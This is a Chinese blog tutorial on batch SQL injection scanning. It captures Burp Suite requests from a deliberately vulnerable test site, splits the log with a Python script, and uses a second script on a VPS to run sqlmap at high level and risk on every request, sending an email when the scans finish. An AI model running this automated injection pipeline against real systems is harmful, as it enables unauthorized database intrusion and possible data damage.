sqlmap批量跑的方法是什么

本篇内容主要讲解“sqlmap批量跑的方法是什么”，感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷，实用性强。下面就让小编来带大家学习“sqlmap批量跑的方法是什么”吧!

使用burpsuite的日志记录功能，开启这个功能

你不可能使用开启proxy日志，因为你只能有意识去筛选注入的数据包，所以你在proxy那里拦截到数据包之后，发送到repeater，然后run，才可以记录日志。

我们拿这个做测试站，http://testphp.vulnweb.com/

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17:40:30  http://testphp.vulnweb.com:80  [176.28.50.165]
======================================================
POST /guestbook.php HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://testphp.vulnweb.com/guestbook.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Connection: close
Upgrade-Insecure-Requests: 1

name=anonymous+user&text=1&submit=add+message
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17:41:05  http://testphp.vulnweb.com:80  [176.28.50.165]
======================================================
GET /comment.php?aid=1 HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://testphp.vulnweb.com/artists.php
Connection: close
Upgrade-Insecure-Requests: 1


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17:41:19  http://testphp.vulnweb.com:80  [176.28.50.165]
======================================================
POST /comment.php HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://testphp.vulnweb.com/comment.php?aid=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Connection: close
Upgrade-Insecure-Requests: 1

name=%3Cyour+name+here%3E1&comment=1&Submit=Submit&phpaction=echo+%24_POST%5Bcomment%5D%3B
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写了一个脚本去解析分割

f = open('c:\\1.log','r')

n = 0
t = 1
for i in f.readlines():
    if i == "======================================================\n":
        n = n+1
    if n==2:
        if i== "======================================================\n":
            pass
        else:
            with open('d:\\'+str(t)+'.txt','a+') as tmp:
                tmp.write(i)
            #print(i)
    if n==3:
        n=0
        t = t+1
    #print(n)

得到了这么多的注入文件

然后将这个导入到VPS，执行下面脚本就可以不用占用自己服务器的资源。跑完之后有邮件提醒，就可以知道结果了

import os
import subprocess
import smtplib
from email.mime.text import MIMEText
from email.header import Header
import  time

def sql():
    for root, dirs, files in os.walk("/opt/sql/", topdown=False):
        for name in files:
            path = os.path.join(root, name)
            cmd = 'python /opt/sqlmap/sqlmap.py -r '+ path +' --batch --dbms=mysql -v 3 --level 5 --risk 3 --skip="Host,User-Agent,Accept-Language,Referer,Cookie,"  --threads=10 > /opt/result/'+ name +'  2>&1 &'
            print(cmd)
            os.system(cmd)

def send_email():
    # 第三方 SMTP 服务
    mail_host = "smtp.163.com"  # 设置服务器
    mail_user = "@163.com"  # 用户名
    mail_pass = ""  # 口令

    sender = '@163.com'
    receivers = ['@163.com']  # 接收邮件，可设置为你的QQ邮箱或者其他邮箱

    message = MIMEText('完成测试', 'plain', 'utf-8')
    message['From'] = Header("test", 'utf-8')
    message['To'] = Header("test", 'utf-8')

    subject = '完成测试'
    message['Subject'] = Header(subject, 'utf-8')

    try:
        smtpObj = smtplib.SMTP()
        smtpObj.connect(mail_host, 25)  # 25 为 SMTP 端口号
        smtpObj.login(mail_user, mail_pass)
        smtpObj.sendmail(sender, receivers, message.as_string())
        print
        "邮件发送成功"
    except smtplib.SMTPException:
        print
        "Error: 无法发送邮件"
sql()

while True:
    result = int(os.popen('ps aux | grep sqlmap | wc -l ').read())
    print(result)
    print(type(result))
    if result < 3 :
        send_email()
        break
    else:
        time.sleep(10)

到此，相信大家对“sqlmap批量跑的方法是什么”有了更深的了解，不妨来实际操作一番吧！这里是亿速云网站，更多相关内容可以进入相关频道进行查询，关注我们，继续学习！